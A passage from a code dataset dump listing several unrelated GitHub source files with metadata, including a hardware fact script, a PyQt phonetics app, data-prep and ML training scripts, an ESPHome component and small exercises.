self.data['cpucores'] = count\n f.close()\n f = open('/proc/meminfo', 'r')\n for line in f:\n r = re.search('^(.*):\\s+(.*)', line)\n if not r or not r.groups(0) or not r.groups(0)[0] or not r.groups(0)[1]: continue\n (key,val) = r.groups(0)[0],r.groups(0)[1]\n if key == \"MemTotal\": \n self.data['memory'] = val\n elif key == \"SwapTotal\":\n self.data['swap'] = val\n f.close()\n\n def storagedata(self):\n # Obtain the SD card size from proc\n f = open('/proc/partitions', 'r')\n for line in f:\n if re.search(\"mmcblk[01]$\", line):\n self.data['sdsize'] = int(line.split()[2]) / 1024\n f.close()\n\n def kernel(self):\n try:\n if os.path.isdir('/srv/maverick/var/build/linux'):\n self.data['kernel4x_dir'] = \"yes\"\n else:\n self.data['kernel4x_dir'] = \"no\"\n with open (\"/srv/maverick/var/build/linux/.kernelrelease\", \"r\") as kernelrelease:\n kr=kernelrelease.readlines()\n if kr:\n self.data['kernel4x_release'] = kr[0].rstrip()\n except:\n self.data['kernel4x_dir'] = \"no\"\n self.data['kernel4x_release'] = \"no\"\n\n try:\n if os.path.exists(\"/media/boot/boot.ini-k3bak\") and os.path.exists(\"/media/boot/config-k3bak\") and os.path.exists(\"/media/boot/exynos5422-odroidxu3.dtb-k3bak\") and os.path.exists(\"/media/boot/uInitrd-k3bak\") and os.path.exists(\"/media/boot/zImage-k3bak\"):\n self.data['kernel3x_backups'] = \"yes\"\n else:\n self.data['kernel3x_backups'] = \"no\"\n except:\n self.data['kernel3x_backups'] = \"no\"\n \n self.data['kernel_current'] = \"no\"\n try:\n try:\n klines = subprocess.check_output([\"/usr/bin/mkimage\", \"-l\", \"/media/boot/uInitrd\"]).split(\"\\n\")\n except subprocess.CalledProcessError as e:\n klines = None\n for kline in klines:\n if re.search(\"Image Name\", kline):\n kver = re.split('.*initrd.img-', kline)[1]\n self.data['kernel_current'] = kver\n except:\n pass\n \n if os.path.exists(\"/srv/maverick/var/build/linux/.install_flag\"):\n self.data['kernel_install_flag'] = \"yes\"\n else:\n self.data['kernel_install_flag'] = \"no\"\n\n def runall(self):\n self.cpudata()\n self.storagedata()\n self.kernel()\n\n#If we're being called as a command, instantiate and report\nif __name__ == '__main__':\n odroid = Odroid()\n odroid.cpudata()\n if odroid.data['present'] == \"no\":\n print(\"odroid_present=no\")\n sys.exit(1)\n odroid.storagedata()\n odroid.kernel()\n \n # Finally, print the data out in the format expected of a fact provider\n if odroid.data:\n for key,val in odroid.data.items():\n print(\"odroid_%s=%s\" % (key, val))\n","repo_name":"goodrobots/maverick","sub_path":"manifests/maverick-modules/maverick_hardware/facts.d/odroid.py","file_name":"odroid.py","file_ext":"py","file_size_in_byte":4146,"program_lang":"python","lang":"en","doc_type":"code","stars":152,"dataset":"github-code","pt":"47"} +{"seq_id":"30026849079","text":"import sys\n\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QMainWindow, QAction, QApplication, \\\n qApp, QDialog, QSlider, QLabel, QHBoxLayout\nfrom interface import interface\nfrom fuyin import ConsonantWidget\nfrom houbiyin import houbiyinyunwei\nfrom kaiweiyun import kaiweiyun\nfrom qianbiyin import qianbiyinyunwei\nfrom yuanyin import yuanyinyunwei\nfrom yuanyinshewei import VowelsWidget\nfrom Help import Help\nfrom other import other\nfrom test_Dialog import test_Dialog\n\nclass Main_Window(QMainWindow):\n def __init__(self):\n super(Main_Window, self).__init__()\n self.setWindowTitle('汉语国际音标学习软件')\n self.setFixedSize(850, 500)\n self.layout = QHBoxLayout(self)\n self.interface = interface(self)\n self.layout.addWidget(self.interface, 0, Qt.AlignCenter)\n self.interface.toolButton_2.clicked.connect(self.show_fuyin) #按钮信号槽连接\n self.interface .toolButton_7.clicked.connect(self.show_houbiyin)\n self.interface.toolButton_4.clicked.connect(self.show_kaiweiyun)\n self.interface.toolButton_6.clicked.connect(self.show_qianbiyin)\n self.interface.toolButton_5.clicked.connect(self.show_yuanyin)\n self.interface.toolButton.clicked.connect(self.show_volwes)\n self.interface.toolButton_9.clicked.connect(self.help)\n self.interface.toolButton_10.clicked.connect(self.Other)\n self.interface.toolButton_8.clicked.connect(self.test_dialog)\n\n self.fuyinbiao = ConsonantWidget(self)#每一个具体的表\n self.layout.addWidget(self.fuyinbiao, 0, Qt.AlignCenter)\n self.houbiyin = houbiyinyunwei(self)\n self.layout.addWidget(self.houbiyin, 0, Qt.AlignCenter)\n self.kaiwei = kaiweiyun(self)\n self.layout.addWidget(self.kaiwei, 0, Qt.AlignCenter)\n self.qianbiyin = qianbiyinyunwei(self)\n self.layout.addWidget(self.qianbiyin, 0, Qt.AlignCenter)\n self.yuanyin = yuanyinyunwei(self)\n self.layout.addWidget(self.yuanyin, 0, Qt.AlignCenter)\n self.volwes = VowelsWidget(self)\n self.layout.addWidget(self.volwes, 0, Qt.AlignCenter)\n self.fuyinbiao.hide()\n self.volwes.hide()\n self.yuanyin.hide()\n self.qianbiyin.hide()\n self.houbiyin.hide()\n self.kaiwei.hide()\n\n exitAct = QAction('&退出', self)\n exitAct.setShortcut('Ctrl+Q')\n exitAct.setStatusTip('关闭窗口')\n exitAct.triggered.connect(qApp.quit)\n\n returnAct = QAction('&返回', self)\n returnAct.setShortcut('Backspace')\n returnAct.setStatusTip('返回到主界面 : 快捷键 Backspace')\n returnAct.triggered.connect(self.show_interface)\n\n settingAct = QAction('&设置', self)\n settingAct.setStatusTip('音量调节')\n settingAct.triggered.connect(self.settings)\n\n menubar = self.menuBar()\n fileMenu = menubar.addMenu('&文件')\n fileMenu.addAction(exitAct)\n menubar.addAction(returnAct)\n menubar.addAction(settingAct)\n\n statusbar = self.statusBar()\n self.show()\n\n with open('volumn.txt') as f:\n self.volumn = float(f.read())\n self.volumn_change(False)\n\n def show_fuyin(self):\n self.interface.hide()\n self.fuyinbiao.show()\n\n def show_houbiyin(self):\n self.interface.hide()\n self.houbiyin.show()\n\n def show_kaiweiyun(self):\n self.interface.hide()\n self.kaiwei.show()\n\n def show_qianbiyin(self):\n self.interface.hide()\n self.qianbiyin.show()\n\n def show_yuanyin(self):\n self.interface.hide()\n self.yuanyin.show()\n\n def show_volwes(self):\n self.interface.hide()\n self.volwes.show()\n\n def show_interface(self):\n self.fuyinbiao.hide()\n self.volwes.hide()\n self.yuanyin.hide()\n self.qianbiyin.hide()\n self.houbiyin.hide()\n self.kaiwei.hide()\n self.interface.show()\n\n def settings(self):\n self.dialog = QDialog(self)\n self.dialog.setWindowTitle('设置')\n self.dialog.setStyleSheet('background : white')\n self.dialog.setMaximumSize(300, 50)\n self.dialog.setMinimumSize(300, 50)\n\n self.label = QLabel(self.dialog)\n self.label.setText('音量调节')\n self.label.move(10, 15)\n\n self.slider = QSlider(Qt.Horizontal, self.dialog)\n self.slider.setRange(0, 100)\n self.slider.setValue(int(self.volumn))\n self.slider.move(150, 15)\n self.slider.valueChanged.connect(self.volumn_change)\n self.dialog.show()\n\n def help(self):\n self.help = Help(self)\n self.help.show()\n\n def Other(self):\n self.other = other(self)\n self.other.show()\n\n def volumn_change(self, sett = True):\n if sett:\n self.volumn = self.slider.value() * 1.0\n with open('volumn.txt', 'w') as f:\n f.write(str(self.volumn))\n self.fuyinbiao.sound.setVolume(self.volumn / 100)\n self.houbiyin.sound.setVolume(self.volumn / 100)\n self.kaiwei.sound.setVolume(self.volumn / 100)\n self.qianbiyin.sound.setVolume(self.volumn / 100)\n self.yuanyin.sound.setVolume(self.volumn / 100)\n for each in self.volwes.buttons:\n each.sound.setVolume(self.volumn / 100)\n\n def test_dialog(self):\n self.dialog = test_Dialog()\n self.dialog.show()\n\n\nif __name__=='__main__':\n app1 = QApplication(sys.argv)\n myWindow = Main_Window()\n sys.exit(app1.exec_())\n","repo_name":"yik-cyber/IPA-Chinise","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32860766855","text":"\"\"\"\n(1) Assimilate the business scenario and articulate testable hypotheses:\n\n Create a machine learning model that predict a reasonable value for next month's revenue based on history\n \n(2) State the ideal data to address the business opportunity and clarify the rationale for needing specific data.\n\n Monthly revenue data, and attributes that may contribute to the forecasting\n\n(3) Create a python script to extract relevant data from multiple data sources, automating the process of data ingestion.\n\n Done\n\n(4) Investigate the relationship between the relevant data, the target and the business metric.\n\n The revenue comes predominantly from UK and shows seasonality with peak in Q4\n\n(5) Articulate your findings using a deliverable with visualizations.\n\n Done\n\n\"\"\"\n\nimport os\nimport json\nimport time\nimport pandas as pd\nfrom datetime import date\nimport matplotlib.pyplot as plt\nimport altair as alt\n\ndef convert_to_ts(data_dir, df_orig, clean=False): \n \"\"\"Convert data to time series\n\n Args:\n df_orig (dataframe): dataframe form loading the data\n \"\"\"\n\n output_file = os.path.join(data_dir, \"ts_data.csv\")\n if not clean and os.path.isfile(output_file):\n return pd.read_csv(output_file) \n\n df_orig['s_type'] = df_orig['stream_id'].apply(lambda v: 'stream' if v[:5].isdigit() else 'other')\n df_orig = df_orig[df_orig['s_type'] == 'stream'].copy()\n df_orig['value'] = df_orig['times_viewed']*df_orig['price']\n df_orig['inv_date'] = df_orig.apply(lambda r: date(int(r['year']), int(r['month']), int(r['day'])), axis=1)\n df_orig['inv_month'] = df_orig.apply(lambda r: date(int(r['year']), int(r['month']), 1), axis=1)\n df_month = df_orig[['country', 'inv_month', 'value', 'times_viewed']].groupby(['country', 'inv_month']).sum().reset_index()\n \n df_customers = df_orig[pd.notna(df_orig['customer_id'])][['country', 'customer_id', 'inv_month']].drop_duplicates()\n df_customers = df_customers.groupby(['country', 'inv_month']).count().reset_index().rename(columns={'customer_id':'customers'})\n df_month = pd.merge(df_month, df_customers, how='left', on=['country', 'inv_month'])\n df_month.to_csv(os.path.join(data_dir, \"ts_month_data.csv\"), index=False)\n \n df_ts = df_orig[['country', 'inv_month', 'inv_date', 'value', 'times_viewed']].groupby(['country', 'inv_month', 'inv_date']).sum().reset_index()\n df_ts.to_csv(output_file, index=False)\n\n return df_ts\n\ndef fetch_ts(data_dir, clean=False):\n \"\"\"Load data from json files\n\n Args:\n data_dir (string): directory where the json files reside\n clean (bool, optional): wheather to take a clean. Defaults to False.\n\n Returns:\n dataframe: combined data from the json files\n \"\"\"\n\n output_file = os.path.join(data_dir, \"combined_data.csv\")\n if not clean and os.path.isfile(output_file):\n return pd.read_csv(output_file) \n\n raw_dfs = []\n for file in [name for name in os.listdir(data_dir) if name[-4:]=='json']:\n f = open(os.path.join(data_dir, file))\n d = json.load(f)\n f.close()\n print(f\".....loaded {len(d)} records from {os.path.join(data_dir, file)}\")\n raw_dfs.append(pd.DataFrame(d).rename(columns={'total_price':'price', 'StreamID':'stream_id', 'TimesViewed':'times_viewed'}))\n \n df = pd.concat(raw_dfs)\n df.to_csv(output_file, index=False)\n return df\n\ndef visualize(df_ts, save_html=True):\n alt.Chart(df_ts).mark_line().encode(\n x=alt.X('inv_date:T', title='Invoice Date'),\n y=alt.Y('value:Q', title='Invoice Value'),\n row='country:N'\n ).properties(height=200, width=250, title=f'Daily Invoice Value for Countries').interactive().save(r\"visuals\\Daily Invoice Value for Countries.html\")\n\n alt.Chart(df_ts).mark_line().encode(\n x=alt.X('inv_month:T', title='Invoice Month'),\n y=alt.Y('sum(value):Q', title='Invoice Value'),\n row='country:N'\n ).properties(height=200, width=250, title=f'Monthly Invoice Value for Countries').interactive().save(r\"visuals\\Monthly Invoice Value for Countries.html\")\n\n alt.Chart(df_ts).mark_line().encode(\n x=alt.X('inv_month:T', title='Invoice Month'),\n y=alt.Y('sum(value):Q', title='Invoice Value'),\n ).properties(height=200, width=250, title=f'Monthly Invoice Value for All Countries').interactive().save(r\"visuals\\Monthly Invoice Value for All Countries.html\")\n\n\nif __name__ == \"__main__\":\n \n clean = False\n \n run_start = time.time() \n data_dir = os.path.join(\".\", \"cs-train\")\n print(\"...fetching data\")\n df_all = fetch_ts(data_dir, clean=clean)\n print(f\"...fetched {len(df_all)} records\")\n\n print(\"...convert to time series\")\n df_ts = convert_to_ts(data_dir, df_all, clean=clean)\n print(f\"...created {len(df_ts)} time series records\")\n\n m, s = divmod(time.time()-run_start,60)\n h, m = divmod(m, 60)\n print(\"load time:\", \"%d:%02d:%02d\"%(h, m, s))\n\n visualize(df_ts, True)\n\n # fig, ax = plt.subplots()\n # ax.plot('inv_date', 'value', data=df_ts)\n # fig.autofmt_xdate()\n # plt.title(\"Daily Revenue Over Time\")\n # plt.xlabel(\"Invoice Date\")\n # plt.ylabel(\"Invoice Value\")\n\n # plt.show()\n\n \n","repo_name":"optsim/aavail-ai-capstone","sub_path":"part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":5199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31498889651","text":"import numpy as np\nimport random\nimport collections\n\n\n# presuming import format as provided by e.g. genome2simplesttrain.py\n# prep to import data (this time with some transparency)\ndef split_with_axe(wood, width_x=784):\n x = wood[:, :width_x]\n y = wood[:, width_x:]\n return x, y\n\n\ndef csv2dataset(filein, width_x=784):\n Dataset = collections.namedtuple('Dataset', ['data', 'target'])\n wood = np.genfromtxt(filein, delimiter=',')\n x, y = split_with_axe(wood, width_x)\n out = Dataset(data=x, target=y)\n return out\n\n\ndef score_row(rowy):\n if np.mean(rowy) >= 0.5:\n out = 1\n else:\n out = 0\n return out\n\n\ndef balance_mats2(x, y):\n score_cols = np.apply_along_axis(lambda w: (score_row(w), not score_row(w)), 1, y)\n score_cols = score_cols.astype(bool)\n # split both x and y by trend in y scoring (e.g. less/more than 50% cds)\n x_one = x[score_cols[:, 0], :]\n y_one = y[score_cols[:, 0], :]\n x_zero = x[score_cols[:, 1], :]\n y_zero = y[score_cols[:, 1], :]\n # shuffle everything\n x_one, y_one = shuff_mat_together(x_one, y_one)\n x_zero, y_zero = shuff_mat_together(x_zero, y_zero)\n # and shorten everything to minimum length\n target_nrows = min(x_one.shape[0], x_zero.shape[0])\n x_one = x_one[:target_nrows, :]\n y_one = y_one[:target_nrows, :]\n x_zero = x_zero[:target_nrows, :]\n y_zero = y_zero[:target_nrows, :]\n # re concatenate\n out_x, out_y = shuff_mat_together(np.vstack((x_one, x_zero)), np.vstack((y_one, y_zero)))\n return out_x, out_y\n\n\ndef shuff_mat_together(x, y):\n indexes = list(range(x.shape[0]))\n random.shuffle(indexes)\n x = np.array([x[i, :] for i in indexes])\n y = np.array([y[i, :] for i in indexes])\n return x, y\n","repo_name":"frogsicle/naivlix1","sub_path":"data_cleaning.py","file_name":"data_cleaning.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"17842241307","text":"#!/usr/bin/env python3\n#\n# Advent of Code 2019 - day 5\n#\nfrom pathlib import Path\nfrom intcode import init_mem, run_intcode\n\nINPUTFILE = \"input.txt\"\n\n# Utility functions\n\n## Use these if blank lines should be discarded.\ndef sample_input() -> list[str]:\n return filter_blank_lines(SAMPLE_INPUT.split(\"\\n\"))\n\n\ndef load_input(infile) -> list[str]:\n return filter_blank_lines(Path(infile).open())\n\n\ndef filter_blank_lines(lines) -> list[str]:\n return [line.strip() for line in lines if line.strip()]\n\n\n# Solution\n\ndef solve(lines):\n \"\"\"Solve the problem.\"\"\"\n mem = init_mem(lines[0].strip())\n inp = [1]\n out = []\n final = run_intcode(mem, inp, out)\n print(f\"output: {', '.join([str(v) for v in out])}\")\n return out[-1]\n\n\ndef solve2(lines):\n \"\"\"Solve the problem.\"\"\"\n mem = init_mem(lines[0].strip())\n inp = [5]\n out = []\n final = run_intcode(mem, inp, out)\n print(f\"output: {', '.join([str(v) for v in out])}\")\n return out[-1]\n\n\n# PART 1\n\ndef part1(lines):\n print(\"PART 1:\")\n result = solve(lines)\n assert result == 14155342\n print(f\"result is {result}\")\n print(\"= \" * 32)\n\n\n# PART 2\n\ndef part2(lines):\n print(\"PART 1:\")\n result = solve2(lines)\n print(f\"result is {result}\")\n print(\"= \" * 32)\n\n\nif __name__ == \"__main__\":\n lines = load_input(INPUTFILE)\n part1(lines)\n part2(lines)\n","repo_name":"tomp/AOC-2019","sub_path":"day5/day5.py","file_name":"day5.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42004789556","text":"from util import get_num_lines, get_pos2idx_idx2pos, index_sequence, get_vocab, embed_indexed_sequence, \\\n get_word2idx_idx2word, get_embedding_matrix, write_predictions, get_performance_VUAverb_val\nfrom util import TextDatasetWithGloveElmoSuffix as TextDataset\nfrom util import evaluate\nfrom model import RNNSequenceModel\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\n\nimport csv\nimport h5py\nimport ast\nimport random\n# import matplotlib\n# matplotlib.use('Agg') # to avoid the error: _tkinter.TclError: no display name and no $DISPLAY environment variable\n# matplotlib.use('tkagg') # to display the graph on remote server\nimport matplotlib.pyplot as plt\n\nprint(\"PyTorch version:\")\nprint(torch.__version__)\nprint(\"GPU Detected:\")\nprint(torch.cuda.is_available())\nusing_GPU = True\n\n\"\"\"\n1. Data pre-processing\n\"\"\"\n'''\n1.1 VUA\nget raw dataset as a list:\n Each element is a triple:\n a sentence: string\n a list of labels: \n a list of pos: \n\n'''\npos_set = set()\nraw_train_vua = []\nwith open('../data/VUAsequence/VUA_seq_formatted_train.csv', encoding='latin-1') as f:\n lines = csv.reader(f)\n next(lines)\n for line in lines:\n pos_seq = ast.literal_eval(line[4])\n label_seq = ast.literal_eval(line[3])\n assert (len(pos_seq) == len(label_seq))\n assert (len(line[2].split()) == len(pos_seq))\n raw_train_vua.append([line[2], label_seq, pos_seq])\n pos_set.update(pos_seq)\n\nraw_val_vua = []\nwith open('../data/VUAsequence/VUA_seq_formatted_val.csv', encoding='latin-1') as f:\n lines = csv.reader(f)\n next(lines)\n for line in lines:\n pos_seq = ast.literal_eval(line[4])\n label_seq = ast.literal_eval(line[3])\n assert (len(pos_seq) == len(label_seq))\n assert (len(line[2].split()) == len(pos_seq))\n raw_val_vua.append([line[2], label_seq, pos_seq])\n pos_set.update(pos_seq)\n\n# embed the pos tags\npos2idx, idx2pos = get_pos2idx_idx2pos(pos_set)\nfor i in range(len(raw_train_vua)):\n raw_train_vua[i][2] = index_sequence(pos2idx, raw_train_vua[i][2])\nfor i in range(len(raw_val_vua)):\n raw_val_vua[i][2] = index_sequence(pos2idx, raw_val_vua[i][2])\nprint('size of training set, validation set: ', len(raw_train_vua), len(raw_val_vua))\n\n\"\"\"\n2. Data preparation\n\"\"\"\n'''\n2. 1\nget vocabulary and glove embeddings in raw dataset \n'''\n# vocab is a set of words\nvocab = get_vocab(raw_train_vua)\n# two dictionaries. : 0, : 1\nword2idx, idx2word = get_word2idx_idx2word(vocab)\n# glove_embeddings a nn.Embeddings\nglove_embeddings = get_embedding_matrix(word2idx, idx2word, normalization=False)\n# elmo_embeddings\nelmos_train_vua = h5py.File('../elmo/VUA_train.hdf5', 'r')\nelmos_val_vua = h5py.File('../elmo/VUA_val.hdf5', 'r')\n# pos_embeddings: the pos embedding dimension is 50\n# pos_embeddings = nn.Embedding(len(pos2idx), 50)\npos_embeddings = None\n\n'''\n2. 2\nembed the datasets\n'''\n# raw_train_vua: sentence, label_seq, pos_seq\n# embedded_train_vua: embedded_sentence, pos, labels\nembedded_train_vua = [[embed_indexed_sequence(example[0], example[2], word2idx,\n glove_embeddings, elmos_train_vua, pos_embeddings),\n example[2], example[1]]\n for example in raw_train_vua]\nembedded_val_vua = [[embed_indexed_sequence(example[0], example[2], word2idx,\n glove_embeddings, elmos_val_vua, pos_embeddings),\n example[2], example[1]]\n for example in raw_val_vua]\n\n'''\n2. 3\nset up Dataloader for batching\n'''\n# Separate the input (embedded_sequence) and labels in the indexed train sets.\n# embedded_train_vua: embedded_sentence, pos, labels\ntrain_dataset_vua = TextDataset([example[0] for example in embedded_train_vua],\n [example[1] for example in embedded_train_vua],\n [example[2] for example in embedded_train_vua])\nval_dataset_vua = TextDataset([example[0] for example in embedded_val_vua],\n [example[1] for example in embedded_val_vua],\n [example[2] for example in embedded_val_vua])\n\n# Data-related hyperparameters\nbatch_size = 32\n# Set up a DataLoader for the training, validation, and test dataset\ntrain_dataloader_vua = DataLoader(dataset=train_dataset_vua, batch_size=batch_size, shuffle=True,\n collate_fn=TextDataset.collate_fn)\nval_dataloader_vua = DataLoader(dataset=val_dataset_vua, batch_size=batch_size,\n collate_fn=TextDataset.collate_fn)\n\n\"\"\"\n3. Model training\n\"\"\"\n'''\n3. 1 \nset up model, loss criterion, optimizer\n'''\n# Instantiate the model\n# embedding_dim = glove + elmo + pos indicator\n# dropout1: dropout on input to RNN\n# dropout2: dropout in RNN; would be used if num_layers!=1\n# dropout3: dropout on hidden state of RNN to linear layer\nRNNseq_model = RNNSequenceModel(num_classes=2, embedding_dim=300 + 1024, hidden_size=300, num_layers=1, bidir=True,\n dropout1=0.2, dropout2=0.2, dropout3=0.2)\n# Move the model to the GPU if available\nif using_GPU:\n RNNseq_model = RNNseq_model.cuda()\n# Set up criterion for calculating loss\nloss_criterion = nn.NLLLoss()\n# Set up an optimizer for updating the parameters of the rnn_clf\nrnn_optimizer = optim.SGD(RNNseq_model.parameters(), lr=0.08, momentum=0.9)\n# Number of epochs (passes through the dataset) to train the model for.\nnum_epochs = 15\n\n'''\n3. 2\ntrain model\n'''\ntrain_loss = []\nval_loss = []\nperformance_matrix = None\nval_f1s = []\ntrain_f1s = []\n# A counter for the number of gradient updates\nnum_iter = 0\nfor epoch in range(num_epochs):\n print(\"Starting epoch {}\".format(epoch + 1))\n for (__, example_text, example_lengths, labels) in train_dataloader_vua:\n example_text = Variable(example_text)\n example_lengths = Variable(example_lengths)\n labels = Variable(labels)\n if using_GPU:\n example_text = example_text.cuda()\n example_lengths = example_lengths.cuda()\n labels = labels.cuda()\n # predicted shape: (batch_size, seq_len, 2)\n predicted = RNNseq_model(example_text, example_lengths)\n batch_loss = loss_criterion(predicted.view(-1, 2), labels.view(-1))\n rnn_optimizer.zero_grad()\n batch_loss.backward()\n rnn_optimizer.step()\n num_iter += 1\n # Calculate validation and training set loss and accuracy every 200 gradient updates\n if num_iter % 200 == 0:\n avg_eval_loss, performance_matrix = evaluate(idx2pos, val_dataloader_vua, RNNseq_model,\n loss_criterion, using_GPU)\n val_loss.append(avg_eval_loss)\n val_f1s.append(performance_matrix[:, 2])\n print(\"Iteration {}. Validation Loss {}.\".format(num_iter, avg_eval_loss))\n\n # filename = '../models/LSTMSuffixElmoAtt_???_all_iter_' + str(num_iter) + '.pt'\n # torch.save(rnn_clf, filename)\n\n avg_eval_loss, performance_matrix = evaluate(idx2pos, train_dataloader_vua, RNNseq_model,\n loss_criterion, using_GPU)\n train_loss.append(avg_eval_loss)\n train_f1s.append(performance_matrix[:, 2])\n print(\"Iteration {}. Training Loss {}.\".format(num_iter, avg_eval_loss))\nprint(\"Training done!\")\n\n# cannot display the graph in terminal on remote server\n# \"\"\"\n# 3.3\n# plot the training process: losses for validation and training dataset\n# \"\"\"\n# plt.figure(0)\n# plt.title('Loss for VUA dataset')\n# plt.xlabel('iteration (unit:200)')\n# plt.ylabel('Loss')\n# plt.plot(val_loss, 'g')\n# plt.plot(train_loss, 'b')\n# plt.legend(['Validation loss', 'Training loss'], loc='upper right')\n# plt.show()\n#\n# plt.figure(1)\n# plt.title('Validation F1 for VUA dataset')\n# plt.xlabel('iteration (unit:200)')\n# plt.ylabel('F1')\n# for i in range(len(idx2pos)):\n# plt.plot([x[i] for x in val_f1s])\n# plt.legend([idx2pos[i] for i in range(len(idx2pos))], loc='upper left')\n# plt.show()\n#\n# plt.figure(2)\n# plt.title('Training F1 for VUA dataset')\n# plt.xlabel('iteration (unit:200)')\n# plt.ylabel('F1')\n# for i in range(len(idx2pos)):\n# plt.plot([x[i] for x in train_f1s])\n# plt.legend([idx2pos[i] for i in range(len(idx2pos))], loc='upper left')\n# plt.show()\n#\n# plt.figure(3)\n# plt.title('Validation F1 for VUA dataset')\n# plt.xlabel('iteration (unit:200)')\n# plt.ylabel('F1')\n# i = pos2idx['VERB']\n# plt.plot([x[i] for x in val_f1s])\n# plt.legend([idx2pos[i]], loc='upper right')\n# plt.show()\n\n\"\"\"\nwrite predictions on validation set to a file\n\"\"\"\n# result = write_predictions(raw_val_vua, val_dataloader_vua, RNNseq_model, using_GPU,\n# '../data/VUAsequence/VUA_seq_formatted_val.csv')\n# f = open('../predictions/vua_seq_predictions_LSTMsequence_vua.csv', 'w')\n# writer = csv.writer(f)\n# writer.writerows(result)\n# f.close()\n#\n# # prints the performance on VUA-verb of the model\n# get_performance_VUAverb_val()\n","repo_name":"gao-g/metaphor-in-context","sub_path":"sequence/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9166,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"47"} +{"seq_id":"33242450811","text":"#!/usr/bin/env python3\nfrom setuptools import setup, find_packages\n\nPACKAGES = find_packages(exclude=[\"tests\", \"tests.*\"])\n\nREQUIRES = [\"toolium>=1.6.1\", \"tabulate==0.8.6\"]\n\nPROJECT_CLASSIFIERS = [\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.6\",\n \"Topic :: Software Development :: Libraries\",\n]\n\nsetup(\n name=\"draytekwebadmin\",\n version=\"0.1.5\",\n license=\"MIT\",\n url=\"https://github.com/highlight-slm/Draytek-Web-Auto-Configuration\",\n download_url=\"https://github.com/highlight-slm/Draytek-Web-Auto-Configuration\",\n author=\"Martin Rowan\",\n author_email=\"martin@rowannet.co.uk\",\n description=\"Web UI automation to configure DrayTek routers\",\n packages=PACKAGES,\n include_package_data=True,\n zip_safe=True,\n platforms=\"any\",\n install_requires=REQUIRES,\n test_suite=\"tests\",\n keywords=[\"draytek\", \"selenium\", \"toolium\"],\n classifiers=PROJECT_CLASSIFIERS,\n)\n","repo_name":"highlight-slm/Draytek-Web-Auto-Configuration","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"2412148301","text":"import esphome.codegen as cg\nimport esphome.config_validation as cv\nfrom esphome.components import spi\nfrom esphome.const import CONF_ID\n\nDEPENDENCIES = [\"spi\"]\nMULTI_CONF = True\nCODEOWNERS = [\"@rsumner\"]\n\nmcp3204_ns = cg.esphome_ns.namespace(\"mcp3204\")\nMCP3204 = mcp3204_ns.class_(\"MCP3204\", cg.Component, spi.SPIDevice)\n\nCONF_REFERENCE_VOLTAGE = \"reference_voltage\"\n\nCONFIG_SCHEMA = cv.Schema(\n {\n cv.GenerateID(): cv.declare_id(MCP3204),\n cv.Optional(CONF_REFERENCE_VOLTAGE, default=\"3.3V\"): cv.voltage,\n }\n).extend(spi.spi_device_schema(cs_pin_required=True))\n\n\nasync def to_code(config):\n var = cg.new_Pvariable(config[CONF_ID])\n cg.add(var.set_reference_voltage(config[CONF_REFERENCE_VOLTAGE]))\n await cg.register_component(var, config)\n await spi.register_spi_device(var, config)\n","repo_name":"esphome/esphome","sub_path":"esphome/components/mcp3204/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":6791,"dataset":"github-code","pt":"47"} +{"seq_id":"3826071627","text":"#!/usr/bin/python3\n\n\n\"\"\" Module 11-model_state_insert\"\"\"\nfrom sys import argv\nfrom model_state import Base, State\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nif __name__ == \"__main__\":\n mysql_usr = argv[1]\n mysql_pswd = argv[2]\n db_name = argv[3]\n engine = create_engine(\n \"mysql+mysqldb://{}:{}@localhost:3306/{}\".format(\n mysql_usr, mysql_pswd, db_name\n ),\n pool_pre_ping=True,\n )\n Base.metadata.create_all(engine)\n Session = sessionmaker(bind=engine)\n session = Session()\n new_state = State(name=\"Louisiana\")\n session.add(new_state)\n session.commit()\n print(session.query(State).filter_by(name=\"Louisiana\").first().id)\n","repo_name":"nikolasribeiro/holbertonschool-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/11-model_state_insert.py","file_name":"11-model_state_insert.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"43188984115","text":"from collections import deque\nq = deque()\nQ = int(input())\nfor _ in range(Q):\n cmd, *a = list(int(x) for x in input().split())\n if cmd == 1:\n x, c = a\n q.append((x,c))\n else:\n cnt = a[0]\n total = 0\n while cnt > 0:\n x, c = q.popleft()\n diff = min(cnt, c)\n total += diff * x\n cnt -= diff\n if c > diff:\n q.appendleft((x, c-diff))\n\n print(total)\n\n","repo_name":"hitochan777/kata","sub_path":"atcoder/mayokon/20230202/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32263745566","text":"import streamlit as st\nimport boto3\nimport re\nimport scraper_mapdata\nimport pandas as pd\nimport logging\nimport os\nfrom scraper_goes18 import scrape_goes18_data\nfrom transfer_files import list_files_in_goes18_bucket, copy_goes_file_to_user_bucket\nfrom filename import generate_goes_url\nimport time \n\n#change logging level to info\nLOGLEVEL = os.environ.get('LOGLEVEL', 'INFO').upper()\nlogging.basicConfig(\n format='%(asctime)s %(levelname)-8s 